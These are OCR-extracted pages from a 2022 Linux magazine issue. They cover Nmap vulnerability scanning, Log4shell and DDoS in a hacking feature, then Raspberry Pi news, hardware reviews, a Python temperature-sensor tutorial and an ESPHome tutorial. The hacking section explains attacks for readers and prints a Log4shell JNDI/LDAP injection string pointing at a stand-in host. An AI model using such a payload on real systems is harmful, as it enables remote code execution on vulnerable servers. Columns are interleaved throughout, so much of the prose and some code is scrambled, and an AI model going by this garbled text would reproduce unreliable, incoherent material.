detection too, though sometimes this results in the UPnP server running on our router:
guesswork if it encounters unknown fingerprints. Our $ nmap -p 5000 -A --script vulners 192.168.0.1
router, the previous scan results suggest, might have a We were simply aghast to find this in the output:
web control panel running on port 80, and a UPnP server | vulners:
running on port 5,000. Change those numbers below to | cpe:/a:miniupnp_project:miniupnpd:1.9:
suit your situation. Running ...
$ nmap -A -p80,5000 192.168.0.1 | EDB-ID:43501 7.5 https://vulners.
told us that the web server was Lighttpd and the other com/exploitdb/EDB-ID:43501 *EXPLOIT*
was MiniUPnpd. That your router has so many services | CVE-2017-8798 7.5 https://vulners.
running (and there may be others hiding behind port- com/cve/CVE-2017-8798
knocking protocols) isn’t necessarily a worry in itself. Looking at the links told us this was an integer
We’ve only scanned the LAN interface, in other words signedness error in versions 1.4-2.0 of the MiniUPnP
from the inside. If there were so many ports open from client, and that vulnerable systems could be exploited by
the outside, that would probably be cause for concern.

TAP INTO NMAP’S POTENTIAL

In order to scan it from the outside we need to know its
external IP address, which is easy to find using a website

“Thanks to Nmap’s powerful

such as https://ipinfo.io.
Exploiting a vulnerable service is usually a critical step

script engine (NSE), all manner of

in any illicit computer activity. Last year’s Log4shell
vulnerability in a Java logging framework affected

custom tasks can be arranged.”

thousands of applications, from Elasticsearch containers
to Minecraft servers. Unfortunately, many servers remain
unpatched, not just due to administrator laziness, but
because Log4j (the vulnerable framework) is often buried a Denial of Service attack. While it would be exciting
deep within major applications’ dependencies. Research playing with the Proof of Concept (PoC) code referenced
by Rezilion (see https://bit.ly/lxf290-rezilion-research) in those links, it would be for naught. Because this is a
shows not only thousands of machines still running vulnerability in the client program, rather than the server.
vulnerable Log4j 2.x versions, but also thousands of This is an important distinction, because
machines running older 1.x versions of Log4j. The 1.x portscanning in general can only tell you about
series is unmaintained, and while it might be Log4shell vulnerable services on the host. There may be plenty of
proof, is vulnerable to countless other known attacks. other vulnerabilities in other software running on the
target (and indeed in the human operating it), but Nmap
Deeper probing with Nmap can’t help you with this. These scripts only check version
Besides network recon and service discovery, Nmap can information (often only Nmap’s best guess at that) so
probe even further still. Thanks to its powerful script seeing output similar to the above shouldn’t be an
engine (NSE), all manner of custom tasks can be immediate cause for panic.
arranged. One of the most useful scripts is provided by Remember that vulnerabilities may only affect
security group Vulners.com. It uses Nmap’s ability to certain features of certain programs running in certain
detect the versions of running services, together with configurations. But it’s always worth investigating, which
known vulnerability databases to tell you in excruciating is where tools like Pompem (see Pentesting>Exploitation
detail which vulnerabilities might affect the target Tools>Exploit Search) come in handy.

www.techradar.com/pro/linux July 2022 LXF290 37

Hacker’s toolkit 2022

Modern hacking,
ethics and statistics
Read about the largest DDoS in history and how honing
your hacking skills might help you prevent the next one…

gerund and an infinitive walk in to the Linux A big part of hacker culture is Capture The Flag (CTF)

A kernel. They were hacking to learn. An awful

adaptation of a (drinking to forget) joke, but
challenges. You might remember this one from the
playground, or later from first-person shooters such as
a reasonable opener. An incredibly useful maxim from Unreal Tournament. The traditional idea is that teams
long ago hacker lore is “don’t learn to hack, hack to compete to try and capture the flags from opposing
learn”. It’s worth taking some time to marinate on teams’ bases and return them to their own. But the
this message. hacker version just involves finding flags (sometimes
For example, if you search Google for “how to hack” just empty files called flag, sometimes more interesting
or worse “how to hack gmail”, we can pretty much items) hidden by whoever set the challenge.
guarantee you won’t find any useful information. Indeed,
you’ll probably find all sorts of spam and phishing links Open the floodgates
that we wouldn’t recommend touching, even with We started with the ping of death, so let’s end with the
JavaScript turned off. This isn’t because search engines idea of a ping flood. Instead of a single malformed
are producing increasingly bad search results, but packet, a huge number of legitimately sized ones are
because hackers and advertisers know the kinds of transmitted. The idea is to overwhelm the target
intellects who are searching for these terms. And machine by sending more pings than it can handle. Both
unfortunately they know how to monetise them, too. the Ping of Death and ping flooding are part of the broad
Yet there are plenty of good resources where you can category known as Denial of Service (DoS) attacks.
learn network reconnaissance, penetration testing and On Linux some features of the ping command are
even phishing techniques. Sites like https://tryhackme. only available when they’re run as root. One such
com, for example, will teach you these skills with a view example is the -f or flood option, which when used on
to learning how to defend against them. TryHackMe its own sends echo requests as quickly as possible. In
makes the learning process fun by gamifying tutorials, favourable circumstances (the attacker has significantly
in some cases giving you VMs to download and intrude. more bandwidth than the defender, and the defender
There are lessons, labs and competitions that will help has no DoS-preventing firewall), it’s possible for one
you learn everything from Metasploit to Maltego. machine to cripple another this way. It’s more common,

Armitage is a GUI
for Metasploit.
To use it make
sure you start
the Metasploit
Framework from
the System
Service menu.

38 LXF290 July 2022 www.linuxformat.com

 Hacker’s toolkit 2022

however, for an attacker to use several hosts to send the

pings, making this a Distributed Denial of Service
(DDoS) attack. Ping floods are defended against by
most routers, as are SYN floods and other things.
These are detectable by one’s garden variety packet-
filtering stack.
The actual DDoS-ing is typically done by a botnet
under the attackers control. Cybercrime groups may
rent out sections of a hoard of zombie machines that
they’ve curated, or they may use that hoard directly. So
attacks have involved a huge amount of bandwidth. In
2016 DNS provider Dyn was taken offline (making many
popular websites inaccessible) as result of the Mirai
malware, which mostly infects IoT devices using default
credentials. The total bandwidth of this attack was
estimated to be in the region of 1.2Tbps. Security
commentators of the era lamented that the net had for so long, and more importantly how we managed to Wireshark can
been crippled by a telnet scanner and 36 passwords. In avoid invoicing for so long (13 years to be precise), is a smell packets on
your LAN from
November 2021, Microsoft revealed it had thwarted the puzzle for the ages. As we’re fans of digital history here,
miles away. Pretty
largest DDoS attack in history, topping out at 3.47Tbps. we have most of that site archived in a virtual machine. much nothing gets
That’s 3,000 times more data than gigabit LAN. A UDP And since we’re talking about hacker toolkits today we past it.
reflection attack was to blame, but there are plenty of figured we’d have a go at compromising said virtual
other types of DDoS attacks that are more sophisticated. machine. Nmap evinced that our venerable, vulnerable,
The Log4shell vulnerability took advantage of virtual machine was running the following ancient
unsanitised input and at worst enabled remote code software: ProFTPD 1.3.1, Apache 2.2.31, OpenSSH 4.7p1
execution. All an attacker had to do was cause a and Subversion (no version number detected).
carefully crafted message, which looked something like But try as we might, none of our exploits worked. We
${jndi:ldap://example.com/bad_file} used ZAP (the Zed Attack Proxy) from OWASP (the
to be written to a log file. Like Bash, Log4j performs Open Web Application Security Project, https://owasp.
string substitution on expressions in curly brackets. In org) to try and attack the old archive forms, but nothing.
the right circumstances, the contents of /bad_file might If you’re interested, ZAP works by setting up a person
be executed immediately on the server. Or the log may in the middle proxy that can manipulate requests
be processed on another server and /bad_file executed because they’re sent to the web server under
there later. If code execution is dodged, then an attacker investigation, and inspect responses.
can still cause the vulnerable machine to send data We also tried Metasploit, which would be
(such as environment variables or form contents) to a whole feature (or even a bookazine) in
their machine. itself. But the ghost of our machine, it seems,
was as resilient as its former self. Ideas,
False sense of security anyone? Oh and one more thing. We ask
Here we’re abusing the Java Naming and Directory politely that you don’t try and pentest our new
Interface’s (JNDI) ability to fetch resources via LDAP, website, because you will fail and Future’s
but other protocols can be used to. As a result a number Operations Team will hunt you down.
of related flaws were discovered soon after the first, and
a number of incomplete mitigations were circulated
initially, creating a very false sense of security. Once THE MATH OF DDOS
compromised, machines were enrolled in botnets,
crippled with ransomware, or became unwitting When you ping another machine, you send packets of a given size
cryptocurrency miners. (usually 64 bytes on Linux), and that machine replies with packets of
It’s interesting that the Dyn attack has been the same size. So, as much data is sent as is received. If the goal is to
attributed (though not conclusively – all we really know saturate the target’s network bandwidth, then the attacker needs to
is that in 2017 three individuals aged 20-21 entered be able to send just a little bit more data than the target can receive.
guilty pleas relating to “significant cyber attacks”) to This is also true for a SYN flood attack.
disgruntled Minecraft players, and so too was Log4j. More advanced DDoS attacks take advantage of the fact that other
Indeed, to exploit Log4j on a vulnerable Minecraft server, requests can result in much more data being returned than is sent.
all you needed to do was post the code snippet above The most advanced ones to date have leveraged intermediate servers
into the chat. From there it would be dutifully processed (NTP, DNS, memcached, even Quake servers) to carry out this
by Log4j and if various conditions are met the attacker amplification. These ‘reflection attacks’ spoof the target’s IP address
would be able to execute code. so that the lengthy response is sent there. For UDP protocols (like
And there concludes our perennial hacker special. As traditional DNS) this is always going to be a problem, since source
usual we’ve barely scratched the surface of the subject addresses can’t be directly verified. Initiating a TCP connection, on the
matter, and indeed dealt with only a fraction of the other hand, requires a three-way handshake that will fail if the address
fantastic selection of tooling within Parrot. But hopefully is spoofed. But the connection remains ‘half-open’ for some time, and
you’ve learned something. We certainly have. Many the resources used by thousands of such half-completed connections,
readers will remember with fondness the old Drupal- form the basis of a SYN flood attack.
based Linuxformat.com site. Quite how this stayed up

www.techradar.com/pro/linux July 2022 LXF290 39

 Pi USER
Les Pounder
Rock Pi expands
its range
works with groups
such as the
Raspberry Pi
Foundation to help
boost people’s
maker skills.

CAUSING A Less appetising but just as filling, the China-based

PICO SCENE Rock Pi now delivers some SBC competition.
Just recently the Revision demo e’re used to seeing Raspberry Pi stuck around is the Rock Pi, which is now
party took place online and once
again I was amazed at what a
W competition come and go. Over the
years many boards have featured
available as the Pi 4 Model C+. This is a
reduced-cost version of the Pi 4 Model B+.
dedicated community can do better-looking specifications, yet have been The Rock Pi looks almost identical to the
with limited hardware. The hamstrung with lacklustre software and Raspberry Pi 4 Model B, and is based around
Raspberry Pi community is no support options that disappear as fast as the the Rockchip RK3399T. This is a Big.Little Arm
different. From the original single parent companies. However, one model that’s design that utilises two Cortex-A72 cores,
core 700MHz CPU and 512MB of similar to those in the Pi 4, but running at
RAM came countless hobby 1.5GHz. In addition there are four more “little”
projects and even a pretty good cores: Cortex-A53s running at 1.4GHz. Also
game of Quake 3. appearing on the specs sheet is 4GB of RAM,
This got me thinking: “I wonder microSD and M2 storage, Gigabit LAN, WiFi
if the demoscene has embraced 802.11ac and the 40-pin GPIO.
Raspberry Pi?” After all, the For software the boards can run Debian,
Raspberry Pi is really just an Arm- Ubuntu and Android with Panfrost drivers for
based Linux PC. Turns out the its Mali T860MP4 GPU. It costs $60 plus
answer was yes and the top shipping so could be worth considering if
demos are listed on https://bit. you’re struggling to locate a genuine Pi.
ly/lxf290-pidemo.
What I wasn’t prepared to see That M2 storage option
demoscene code running on the is tempting in itself.
Raspberry Pi Pico! With the right CREDIT: RockPi
mix of resistors and connectors

GPUs ARE GOish 299 winners!

we can connect a Pi Pico to VGA,
HDMI, DVI and output good-
quality video. Pico niccc, by
Molive is a looping tunnel demo,
the likes of which we’ve seen on External Pi ones. Blasted into space.
countless machines, but we’ve
never seen it on a microcontroller. After almost two years’ work, Pi tinkerer Jeff The Pi Foundation and ESA Education have
The demo was written in C and it Geerling has succeeded in his goal of getting announced that 299 teams have achieved
takes advantage of the dual-core an external GPU to work on Compute Module flight status in Mission Space Lab of the
CPU and the 264KB of RAM to 4’s via the carrier board’s PCIe slot. Overall, it 2021/22 European Astro Pi Challenge.
produce a smooth 60fps at 480p. runs more slowly than the Pi’s built-in GPU These teams will be the first ever to run on
The Raspberry Pi Pico has and the CM4 may never interact with a GPU in the two upgraded Astro Pi units on board the
proven itself as a remarkable a meaningful way, partly due to Broadcom’s International Space Station (ISS). Find out
piece of kit. It can emulate retro out-of-spec implementation of the PCIe root more at https://bit.ly/lxf290astro.
computers (ZX Spectrum, complex. See https://pipci.jeffgeerling.com.
Commodore 64 and the BBC
Micro) and even play a great
game of Doom (I thoroughly
tested this).
Could the Raspberry Pi Pico be
the home of a new and emerging
demoscene? Let’s hope so. The
low cost and extensive selection
of programming languages
means it closely resembles the
machines of the bedroom coder. Running your
Jeff Geerling reports success in getting a PCIe GPU to
code in space!
work on a Raspberry Pi Compute Module 4.
CREDIT: Jeff Geerling CREDIT: ESA

www.techradar.com/pro/linux July 2022 LXF290 41

 REVIEWS Emulation software

Amiberry v5.0
Les Pounder loves the Amiga – he even started his journalism career with
custom “disk magazines” on the school playground.
ini retro computers and consoles are enjoying a
IN BRIEF
Amiberry is a
M resurgence of late. Case in point? The Nintendo
Mini NES and the A500 Mini, a licenced
free Amiga miniature Commodore Amiga 500. In effect the A500
emulator that Mini is an Arm-powered Linux machine, so can’t we just
brings the build our own? The answer is yes. Step forward Amiberry
Commodore Amiberry is an optimised Amiga emulator for multiple
Amiga to the Arm-based single board computers. We tested Amiberry
Raspberry Pi. on a 8GB Raspberry Pi 4, but there are versions for the

CREDIT: Codemasters
From the Raspberry Pi 3 and 32-/64-bit OSes. Installation was
comprehensive simple, if a little involved. Downloading the Amiberry
and densely release from the website, extracting the contents to a new
packed menu directory and then installing the required dependencies
we can create was easy. The “gotcha” issue was the latest Raspberry Pi
custom, and OS (April 2022) using the KMS driver. Amiberry requires
expensive FKMS (Fake KMS) to run and in the past we would just Playing Cannon Fodder on our virtual Amiga 500 transported us back
Amiga “dream enable this in the Raspberry Pi Configuration tool, but not to the 1990s, when the floppy disk reigned supreme.
machines”. At any more. All it took was a quick edit to our config.txt file
the other end of to enable FKMS, a reboot and we were in business. colours to 256 (AGA chipset) and setting a custom
the scale we can resolution. Then we dropped into the Amiga Shell and
quickly fire up Create a custom Amiga tried to remember a few commands from our youth.
an Amiga 500 Amiberry’s user interface is densely packed, but if you The Amiga was known as a games machine, and the
and play the just want to set up a quick game, then the Quickstart pinnacle of compatibility was the Amiga 500. We created
best games of menu should have you covered. If you want to create a new configuration: an Amiga 500 with 1MB of Chip RAM
the era, all from your ideal Amiga setup then you can tweak your RAM, and a Kickstart 1.3 ROM. We loaded Cannon Fodder and
a Raspberry Pi. CPU, ROMs and expansion cards all from the menu. our muscle memory kicked in as we fought the baddies.
When you have your machine as you want it, you can USB joypads/joysticks are supported and these can be
save it as a custom configuration, ready for use. configure for use with games.
We tested this feature by making our own Amiga 1200 Installing games to the hard drive is a tricky task. Some
with 8MB of Fast RAM, 2MB of Chip RAM, a 68030 CPU games come with installers, such as The Secret of Monkey
and a 100MB IDE hard drive. With Amiberry we can create Island, but others require a patch. WHDLoad is the patch
virtual hard drives (hardfiles, HDF) This setup would have and with this we can patch a game to run from the hard
run into the thousands, but today it costs us a Raspberry drive. Amiberry supports WHDLoad, so we can build an
Pi 4. We booted to the operating system (Workbench 3.1) archive of games on our custom Amiga.
and proceeded to install the OS to the hard drive. So who is Amiberry for? People like us, who grew up in
After 10 minutes of disk swapping (press F12 and then the era of the Amiga and want to reminisce without
go to the Floppy menu to change Amiga disk images, developing tennis elbow from swapping disks. Sure, we
ADF) we rebooted the machine and booted from our can go out and spend £120 on The A500 Mini, but with
fresh Workbench 3.1 hard disk install. We then spent a Amiberry and a little patience we can make our dream
little time tinkering with the OS, bumping the display Amiga come true.

VERDICT
DEVELOPER: Blitter Studio
WEB: https://blitterstudio.com/amiberry
LICENCE: GPL-3.0

FEATURES 9/10 EASE OF USE 8/10

Amiberry’s menu PERFORMANCE 9/10 DOCUMENTATION 9/10
is packed with
features. You can After a brief struggle, Amiberry installed and worked well.
really go to town, You can build dream Amigas or relive your youth. All via a Pi.
building a dream
machine. Many
just want to play Rating 9/10
Turrican again.

42 LXF290 July 2022 www.linuxformat.com

 Servo controller REVIEWS

Pimoroni Servo 2040

Achieve precise motion control from Les Pounder’s tiny package.

SPEC
owered by the RP2040, a chip that’s beating the

SoC: RP2040,
P current chip shortage, Servo 2040 wears its
purpose on its sleeve. Designed to control up to
dual-core Arm 18 servos, and work with up to six analog inputs, this is a
Cortex M0+ serious board backed up by a well-crafted software library.
133MHz Servo 2040 is a densely packed board. It’s slightly
Memory: longer and almost double the width of a Raspberry Pi
264kB of SRAM Pico. The 18 servo outputs feature three pins for each
Storage: 2MB output. The pins are the Signal, Voltage and GND
of QSPI flash connection, and servos tend to have colour-coded
GPIO: 18x servo, connectors to show orientation. The headers are typical
6x analog 2.54mm pitch and we can easily connect 18 servos,
sensors, Qw/ST creating noodles of servo cables across your bench. The 2040-based board is your go-to choice for servo control.
Stemma QT/ We tested the Pimoroni Servo 2040 using
Qwiic connector MicroPython and CircuitPython. Pimoroni has created a work – the I2C pins weren’t detected. An issue has been
Unsoldered: new version of its MicroPython release, which provides raised and hopefully this will be fixed in the future.
3x analog support for Servo 2040. The MicroPython modules for We scanned the list of Stemma QT devices supported
inputs, I2C, Servo 2040 are well documented and robust. by Pimoroni’s MicroPython build and noted that the
Debug, 5V, 3V3, For our MicroPython test, we chose to use Pimoroni’s BME688 was there. We connected and wrote a test script
Boot, Reset version, which also supports CircuitPython libraries. to confirm that we could obtain the temperature, proving
Extras: V/I We wanted to test a few Stemma QT devices with that the QWST connector was working to spec.
sensing, MicroPython and this seemed like a great fit. We ran This quick win fuelled our need to prove that Servo
6x WS2812/ through Pimoroni’s examples, testing single and multiple 2040 could work with more Stemma QT boards, so we
NeoPixels, boot/ servos. Everything went extremely smoothly. downloaded a beta version of CircuitPython 7 for the
user button, Servo 2040. The info page stated we could only control 16
reset button Practical experiments servos versus MicroPython’s 18 – an acceptable loss. We
PSU: USB-C 5V, We tested a series of cheap SG90 plastic geared servos tested a series of CircuitPython examples and everything
screw terminal and found that Servo 2040 was able to control each of worked as expected. It was only when we tested our
10A max them with a high degree of accuracy. We also tested an continuous servos that we noticed they never stopped.
Size: 62x42mm MG90S servo, a higher quality metal servo, and this also CircuitPython handles this type of servo a little differently
worked well. These two servos have only 180 degrees of and, with a tweak to our code, we were good to go.
movement so we installed two LEGO-compatible We tested the QWST connector with an MPR121,
continuous servos. They work in a similar manner to a installing the dependencies and tweaking some example
DC motor, but are slower and more precise. Our code so that touching the MPR121 inputs controlled two
continuous servos also worked with no issues. servos. Everything worked – it looks like CircuitPython is
To take the tests further, we connected a 10K Ohm a viable alternative to MicroPython for this board. Note
potentiometer and one of the analog inputs. Using a little that the MicroPython release is from Pimoroni and, as
maths and Servo 2040’s API, we created a crude speed such, it has a much more granular level of servo control.
controller for the continuous servos. CircuitPython is much more of a general purpose
We also connected an Adafruit MPR121 capacitive alternative. If you need Stemma QT/Qwiic and can afford
touch board via the QW/ST connector and loaded the to lose two servos, then go for it.
corresponding Python dependencies (Adafruit Bus and
the MPR121 module) and changed the I2C pins to match
those of the Servo RP2040. Sadly we couldn’t get this to
VERDICT
DEVELOPER: Pimoroni
WEB: https://shop.pimoroni.com
PRICE: £24

FEATURES 10/10 EASE OF USE 8/10

PERFORMANCE 10/10 VALUE 9/10

MicroPython and CircuitPython is a great combo.

For those that need a tiny robot platform, this is it.

We’re big – ahem – Rating 9/10

fans of this board.

www.techradar.com/pro/linux July 2020 LXF290 43

 TUTORIALS Acquire sensor data

SENSORS

Cheaper sense and

sensor-abilities
The ever-frugal Les Pounder reveals how two of the cheapest sensors
on the market can bring a wealth of data to your Raspberry Pi project.

he electronics world has many different, cheap

T and simple sensors that we can use to gather

temperature data. We’ve chosen two models
that meet all of those categories, and will show you how
to use them with just a few lines of Python.

OUR Project 1: DHT11 sensor

The DHT11 is often bundled in electronics kits for the
EXPERT Raspberry Pi and Arduino. It’s accurate to within five per
Les Pounder cent between 20 and 80 per cent humidity, and ±2°C
is the under-paid between 0 and 50°C. This makes it a great hobby
associate editor sensor, but not ideal for projects that require precision.
at Tom’s There are two versions of the DHT11: a basic version The DS18B20 and DHT11 are two cheap, simple-to-use temperature
Hardware and a with no pull-up resistor; and our version, which has an sensors. They can even work side-by-side for added data collection.
freelance maker integrated resistor. If you can, buy this version.
for hire. Wiring up the sensor involves three female to female The code to read the temperature sensor is simple.
jumper wires. Looking at the front of the sensor (the In a new file we import three modules. The first is the

YOU NEED
blue plastic cage) the first pin is VCC that connects to underlying GPIO module, enabling Python to work with
the 3.3V pin on the Raspberry Pi. The next is a data the GPIO. Then we import the DHT11 module, and finally
Any Pi output pin – this connects to GPIO14 on the Raspberry we import the sleep function from the time module.
model Pi. Finally, we have a GND pin that can connect to any import RPi.GPIO as GPIO
The latest GND pin on the Pi. If you’re using a DHT11 with no import dht11
Pi OS onboard resistor then you’ll need to connect a 4.7K from time import sleep
DHT11 Ohm resistor from the DHT11’s VCC pin to the data The next three lines will reduce the verbosity of the
temperature output pin, effectively pulling the pin high. This is fiddly, output from the GPIO module. Then we set the GPIO to
sensor so make sure to buy a DHT11 with a resistor. use the Broadcom (BCM) pin numbering system. This
3x female Power up your Pi and open a terminal .Now you’re is the default used by the Raspberry Pi Foundation’s
to female ready to install the DHT11 Python library using the pip documentation. We then ensure that the GPIO is
jumper wires package manager: cleaned up and ready for use.
DS18B20 $ pip install dht11 GPIO.setwarnings(False)
temperature When the install is complete, close the terminal and GPIO.setmode(GPIO.BCM)
sensor open up the Thonny Python editor. GPIO.cleanup()
4.7K Ohm Next we create an instance that connects our Python
resistor code to the DHT11 on pin GPIO14.
(Yellow instance = dht11.DHT11(pin = 14)
Purple Red To constantly read the DHT11 we use a while True
Gold) loop and in there we create an object, result, that will
Breadboard store the data read from the DHT11.
3x male while True:
to female result = instance.read()
jumper wire If the data stored in the result object is valid we use
Code and the print function to print the temperature and humidity
diagrams at in a sentence. Note that we use %.1f as a placeholder to
https://bit. format drop in the data stored in the tuple at the end of
ly/lxf290- Three wires is all we need to connect the DHT11 to our Raspberry Pi. the line. The tuple contains the two values of
sensors Buy a DHT11 with a built-in resistor – they’re much easier to work with. temperature and humidity.

44 LXF290 July 2022 www.linuxformat.com

 Acquire sensor data TUTORIALS

if result.is_valid(): The DS18B20 is a

print('The temperature is: %.1f Celsius and the classic sensor. With
the waterproof
humidity is %.1f %%’ % (result.temperature, result. model we can
humidity)) measure the
If the data stored in the result object is not valid the temperature of
else condition is activated, printing an error code to the liquids and use
that data in graphs,
Python shell. The code then sleeps for one second
or even Minecraft!
before looping back to the start.
else:
print("Error: %d” % result.error_code)
sleep(1)
Save the code as dht-11-test.py and click Run to start.
You should see the current temperature scroll in the
Python shell.

Project 2: DS18B20
The DS18B20 is our favourite temperature sensor. It
comes as either a bare component, or encased in a
waterproof sleeve with a metal probe. The DS18B20 can
sense temperatures between -55 and 125°C with ±0.5°C
accuracy from -10 to 85°C. It can’t detect humidity, temperature = sensor.get_temperature()
unlike the DHT11, but for temperature-based projects, Print the temperature to the Python shell. We use a
this is the sensor to use. formatting trick – %s – to format the temperature data The DS18B20
Wiring up the DS18B20 is a little more involved. The into a string. Finally, we pause the code for one second needs screw
bare wires of the sensor need to be inserted into a before the loop repeats. terminals for
screw terminal (one terminal per wire). The screw print("The temperature is %s celsius” % breadboard use,
otherwise the
terminal is then inserted into a breadboard. Next, we temperature)
fragile wires will
need to use a 4.7K Ohm resistor with the breadboard. time.sleep(1)
break. Another
Connect one leg to the red wire (VCC) and the other Save the code as ds18b20-test.py and click Run to approach is to
to the yellow wire (data out). This will pull the data pin start the code. The Python shell should soon fill up with use ferrules.
high and ensure there’s a good data connection. Now temperature data. Place the DS18B20 between your These add a
connect the GPIO of the Pi to the screw terminals via fingers, or if you have the waterproof model, dip the end sheath over
the breadboard. Because the screw terminal inserts into in a glass of ice cold water and watch the temperature the wires and
the breadboard, we can use the male to female jumper rapidly drop. Both of the sensors used in this tutorial mechanically
wires to make connections. We connect the 3.3V pin to are often under £5 from eBay, or even cheaper from clamp the
the red screw terminal, then connect any GND to the AliExpress if you can wait for delivery. Grab some and DS18B20 wires
in a rugged
black wire screw terminal. We then connect GPIO4 of add them to your next project. As a bonus, we’ve
enclosure.
the Pi to the yellow screw terminal. created a project, ds18b20-dht11-combine.py, that uses
Power up your Raspberry Pi and open a terminal both of the sensors at once.
from where we can install the DS18B20 Python module.
For this we shall use w1thermsensor .
$ pip install w1thermsensor HAVING FUN WITH SENSE HAT
Next we need to enable the one-wire interface. Go to
the main menu and click on the Raspberry Pi icon, then Raspberry Pi’s Sense HAT are packed with sensors including a
go to Preferences and select Raspberry Pi temperature sensor. Sense HAT features a combined temperature
Configuration. On the new screen, click on Interfaces and humidity sensor, accelerometer (measuring forces) gyroscope
and then enable the 1-Wire option. Click OK and reboot (orientation) and a magnetometer (magnetic forces such as magnetic
the Raspberry Pi for the changes to take effect. north). Because the board is a HAT, it’s designed for easy use, on top
Open up the Thonny Python editor and in a new file of the Raspberry Pi GPIO. This does cause a small problem: your
we’ll build a quick test script. temperature data will be incorrect. The temperature sensor, located
We start by importing two modules. The time library on the top right of the board, will detect the heat of the HAT, which is
will be used to slow the pace of the code. We then directly above the CPU, RAM and PCIe chip of the Raspberry Pi 4. You
import the W1ThermSensor class from the can move the Sense HAT off the Raspberry Pi using a breakout board,
w1thermsensor module. but this is more wires and complexity. For simple projects, the DHT11
import time and the DHT22 can’t be beaten. We only need three wires and a little
from w1thermsensor import W1ThermSensor Python code to make the most of our sub-£5 purchase.
Create an object, sensor, which is used to connect The Sense HAT does pack a lot of fun into the board. Along side
our code to the DS18B20. It’s also much easier to type! the sensors we have a joystick that can be mapped to act as a
sensor = W1ThermSensor() keyboard, and we have a matrix of 64 RGB LED. The corresponding
Next we create a whileTrue loop to constantly check Python library is also a joy to use, making short work of reading data
the temperature. and displaying it on the LED matrix.
while True:

GET YOUR Pi FILLING HERE Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 45
 TUTORIALS Home sensors

ESPHOME
Credit: https://esphome.io

Build your own smart

home sensors
Discover how to install micro controllers and simple electronics
to make our homes almost as smart as Matt Holder.

SPHome is a project that comes under the As described in the boxout (bottom right),

E banner of Nabu Casa (the company started by

Home Assistant’s founder to provide funding for
communication between ESPHome and Home Assistant
is reliable and is performed via an API. Data can be
core developers). ESPHome creates firmware for encrypted, but because the data is retained on the
microcontroller boards, which can communicate with home network, this is probably unnecessary.
OUR Home Assistant. Communication is two-way and
microcontroller outputs can be controlled from Lovelace
ESPHome can be run as a standalone system, but the
easiest way to use it is to add it as an Add-On in the
EXPERT dashboards/automations as well as data from the Add-Ons section of Home Assistant (see LXF287-289).
Matt Holder microcontroller being fed back to Home Assistant. Navigate to Configuration>Add-Ons, Backups and
has been a fan of Around five years ago the ESP8266 model of Supervisor and search for ESPHome. Once installed,
the open source microcontroller changed the world by offering a small, ensure that Start at boot, Watchdog, AutoUpdate and
methodology for cheap circuit board. These boards contain a Wi-Fi Show in sidebar are enabled. Add-Ons are essentially
over two decades controller, as well as support for many communication docker containers and run on the host’s operating
and uses Linux standards. These boards support digital input/output, system. This author is able to run the operating system,
and other tools analogue outputs, and pseudo-analogue output using Home Assistant, ESPHome, Studio Code Server and other
where possible. Pulse Width Modulation – PWM is a way of turning a add-ons in a performant manner on a Raspberry Pi 4.
digital signal on and off very quickly so that the average
value appears to be less than the full voltage. Get an overview of ESPHome
As well as General Purpose Input Output (GPIO), Once the Add-On has been installed, open it from the
these boards support I2C, SPI, one-wire serial and Add-Ons page and a new window will open. This is the
various other standards. GPIO is found on a lot of overview screen for ESPHome, which will display all
This project uses devices these days and is defined as a maximum configured projects and the status of them, including
the Lolin D1 mini,
just 34mm across,
voltage of 3.3V for digital I/O and for analogue input too. whether a firmware update is available and whether
shown here with Be aware devices that use 5V digital signals will cause a the project is online or not.
its GPIO pin out. failure unless additional circuitry is utilised. Configuration files can be generated from this
configuration screen, or the Studio Code Server Add-On
can be used, which installs VSCode in a container that
can access the relevant configuration files. In addition,
firmware can be compiled and downloaded or uploaded,
and syntax checks can be performed to ensure the
file contains valid YAML syntax. YAML is sensitive to
whitespace and the number of indented characters
at the beginning of lines. Also in the GUI is the Secrets
editor, which is accessed from the three-dots menu in
the top right-hand corner of the screen. This GUI allows
for Secrets, such as passwords, API keys or Wi-Fi details
to be added to the file and then they don’t need to
appear in plain text in the configuration files.
Firmware can be installed in a number of different
ways on ESP devices, the first being to install via the
command line. When compiled, the firmware file will be
downloaded, the ESP device plugged into a PC and the
ESPTool.py or ESPHome command-line executable used
to install on to the hardware.
Method two is carried out using a recent release of
Credit: www.wemos.cc

46 LXF290 July 2022 www.linuxformat.com

 Home sensors TUTORIALS

Google Chrome. Support has been included to enable

devices to be flashed from a browser. To carry this out,
first compile and download the firmware, then visit
https://web.esphome.io/?dashboard_install. On this
page, the device can be selected and the firmware
flashed to the device. Once an initial firmware has been
included, further updates can be accomplished via
Wi-Fi. When ESPHome has detected the device is online
for the first time, further updates can be carried out
from the dashboard.
Once devices have the firmware installed and are
showing as online, Home Assistant will detect the data
flowing and will create entities, the data from which are
stored and can then be referenced. Data types include
sensors, which contain numerical data, such as
temperatures; binary_sensor, which contain true/false
information such as the state of a switch; light devices,
which enable LEDs on the microcontroller to be
switched on and off; and switch devices, which allow for
relays to be switched on and off via Home Assistant.
Switches and graph displays can easily be added to
This is the
Lovelace dashboards to allow for the generated because some require the devices to be opened, which breadboard layout
information to be displayed and acted upon. Because is a safety concern when mains voltages are involved. for our first project.
Home Assistant registers data from ESPHome as entities, When designing projects it’s important to read the
they can be referenced in the same way as any other datasheet relating to the board in question. With the D1
registered devices or integrations. Mini, some pins are used at boot time, which could
An easy way to configure the microcontrollers is to either cause any outputs to flicker on and off while the
create a bare minimum firmware, upload to the device device is booting, or worse still, could cause the device
and then use the over-the-air update method to add the to fail to boot. For example, GPIO0/D3, if set to low (0V)
final functionality. While this is convenient, should the will cause the device to fail to boot. The table (overleaf)
firmware contain errors then the device will need to be shows the pins that may not be able to be used.
connected to a PC or Raspberry Pi, if that’s being used Now, let’s move on to create our project. Using a Excellent
documentation
to host Home Assistant and ESPHome. multimeter set to resistance mode, determine which
is provided
pins of your momentary switch cause the resistance to
by the team
Put theory into practice drop to nearly 0 ohms when the button is pressed. at ESPHome:
With the theory described, let’s move on to create two These two pins will be used with the microcontroller to https://
simple projects. The first will be to connect an LED to a determine whether the switch is pressed or not. esphome.io.
